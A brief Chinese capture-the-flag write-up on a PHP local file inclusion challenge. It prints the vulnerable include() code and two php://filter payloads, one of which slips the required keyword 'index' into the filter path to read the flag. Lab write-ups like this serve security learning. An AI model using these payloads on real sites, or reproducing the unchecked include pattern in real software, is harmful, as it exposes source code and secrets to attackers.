
我们从源码和网页中都没有发现什么东西,只有index.php,我们可以从php伪协议入手。
?category=php://filter/read=convert.base64-encode/resource=index.php
报错了,我们可以看到是最后自动填充了一个.php ,所以我们修正后再试一下
出现base64字符串,我们解密后可以得到一段源码
<?php
$file = $_GET['category'];if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
这段php代码中,使用 strpos 函数来查找指定的字符串("woofers"、"meowers"、"index")在 $file 变量所表示的字符串中是否存在 ,所以我们传入的参数中只要有其中一个就可以。
?category=php://filter/read=convert.base64-encode/index/resource=flag
再次得到一串base64字符,解码后得到flag


843

被折叠的 条评论
为什么被折叠?



